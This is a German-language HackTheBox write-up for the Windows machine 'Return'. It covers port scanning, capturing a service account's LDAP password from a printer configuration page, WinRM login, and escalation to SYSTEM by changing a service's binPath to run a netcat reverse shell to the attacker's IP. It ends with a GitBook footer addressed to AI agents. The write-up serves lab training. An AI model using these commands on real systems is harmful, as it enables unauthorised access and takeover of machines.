> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md).

# Return HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Return mit Abdeckung von Missbrauch des Netzwerkdruckers, Missbrauch der Server-Operators-Gruppe, Handhabung der Dienstkonfiguration, mit praktischer Enumeration, Ausnutzung, Foothold und p

{% embed url="<https://app.hackthebox.com/machines/Return>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Missbrauch von Netzwerkdruckern
* Missbrauch der Gruppe der Serveroperators
* Handhabung der Dienstkonfiguration
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71402cd41fe192ca8132d8e2f0566651d02d1155%2Fimage%20(2439).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6313171953ae797b186563ac61d1f1039c55f10%2Fimage%20(2440).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.108 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95eb14e5bcbeec2d2ab913278948ed687be8cdc5%2Fimage%20(2441).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3253bbf9a317e64d15a912c4c9ef7a6552db8d1b%2Fimage%20(2442).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,4969 10.10.11.108 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a748a14bc0696de703fd24b146b98ed6ced56fe%2Fimage%20(2443).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c2b2fb0e8f3085d3919f76ac631a2809f22bc77%2Fimage%20(2444).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Port 80:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa22a9dee14a7dbf1a511893512910b9a48f525%2Fimage%20(2445).png?alt=media" alt=""><figcaption></figcaption></figure>

## Missbrauch von Netzwerkdruckern

In den Einstellungen von Port 80 wird eine Serverkonfiguration entdeckt, die auf `print.return.local` über Port 389 entdeckt wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb8410cedcad5312c5bcf6cae735a85f7287e03d%2Fimage%20(2446).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port 389 abhören** / Durch Platzieren `netcat` auf Port 389

```bash
nc -nlvp 389
```

* Es wird eine Verbindung empfangen, wodurch die Anmeldedaten eines `svc-printer` Benutzers mit dem `1edFg43012!!` Passwort offengelegt werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02b8396e804b236ebb4223fff2a4a08a00a01c5%2Fimage%20(2447).png?alt=media" alt="" width="542"><figcaption></figcaption></figure>

**Identitätsprüfung mit WinRM**

Da der WinRM-Port (5985) offen ist, werden die IDs mit `crackmapexec`:

```bash
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
```

* Die Antwort „pwned“ bestätigt die Gültigkeit der Anmeldedaten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b304f468cfbcda8c1bc1c5ca143dce3ef8b33bac%2Fimage%20(2448).png?alt=media" alt=""><figcaption></figcaption></figure>

**Anmeldung über Evil-WinRM**

Verwendung von `evil-winrm` um eine Shell-Sitzung mit `svc-printer`:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c39073765eb2110533eeaba2b2ec2f259b1e3842%2Fimage%20(2449).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dafc7510d8e39e9bbb3d6e9837a8ba60e07a66dc%2Fimage%20(2450).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegienausweitung (Integritätsstufen):

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels>" %}

**Prüfung der Mitgliedergruppen**/ Der `whoami /groups` Der Befehl zeigt an, dass der Benutzer zur `Verpflichtendes Label/Hohe verpflichtende Stufe` Gruppe gehört und dadurch die Dienste verwalten kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18e36f404ff1222c16351e52fdc5f4516fe5dd1c%2Fimage%20(2451).png?alt=media" alt=""><figcaption></figcaption></figure>

**Dienstmanipulation zur Privilegienausweitung** / Der Benutzer kann möglicherweise einen Dienst ändern und neu starten, um einen Befehl mit höheren Rechten auszuführen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a175403738187ab6a83c6107d37e3c756584a733%2Fimage%20(1102).png?alt=media" alt=""><figcaption></figcaption></figure>

**Erstellung eines Dienstes** / Es wird versucht, mit `sc.exe`einen Reverse-Shell-Dienst zu erstellen, jedoch ohne die erforderlichen Rechte:

<pre class="language-powershell"><code class="lang-powershell"><strong>sc.exe create reverse binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
</strong></code></pre>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce74cefa806ec907e427c9e9b0a5209cd9df522f%2Fimage%20(1105).png?alt=media" alt=""><figcaption></figcaption></figure>

**Änderung des VMTools-Dienstes** / Um einen vorhandenen Dienst zu bearbeiten, `nc.exe` wird auf das Zielsystem übertragen, dann wird der `VMTools` Dienst so geändert, dass er eine Reverse Shell ausführt:

* **Netcat-Übertragung**

```bash
cp /home/jordan/Desktop/htb/artic/scripts/netcat/nc.exe .
```

```powershell
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fac5323b1dafc1f5090ae16e11ec0f40d818681%2Fimage%20(1104).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Idee hier ist, die ausführbare Datei eines Dienstes umzuleiten, damit ein Reverse-Shell-Befehl ausgeführt wird, was dir potenziell eine Sitzung mit hohen Rechten verschafft, wenn der Dienst mit `SYSTEM` Rechten ausgeführt wird.

```powershell
sc.exe config VMTools binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63d6c77b2eceaf7740278e4acb6354c22d0a2d1f%2Fimage%20(1107).png?alt=media" alt=""><figcaption></figcaption></figure>

**Dienst neu starten** / Nach der Konfiguration wird der Dienst neu gestartet, um die Shell zu starten:

<pre class="language-powershell"><code class="lang-powershell">sc.exe stop VMTools
<strong>sc.exe start VMTools
</strong></code></pre>

Auf Port 443 auf eingehende Verbindungen lauschen:

```bash
sudo rlwrap nc -nlvp 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebba3c13ebabf1b65a9f8550d04571e08324d213%2Fimage%20(1106).png?alt=media" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86edd39d789abd8d972eb16cbaceafadfd0b44c0%2Fimage%20(1108).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03f4ee0456c44d183c89aa0e540c874c552dd4f4%2Fimage%20(1109).png?alt=media" alt="" width="536"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
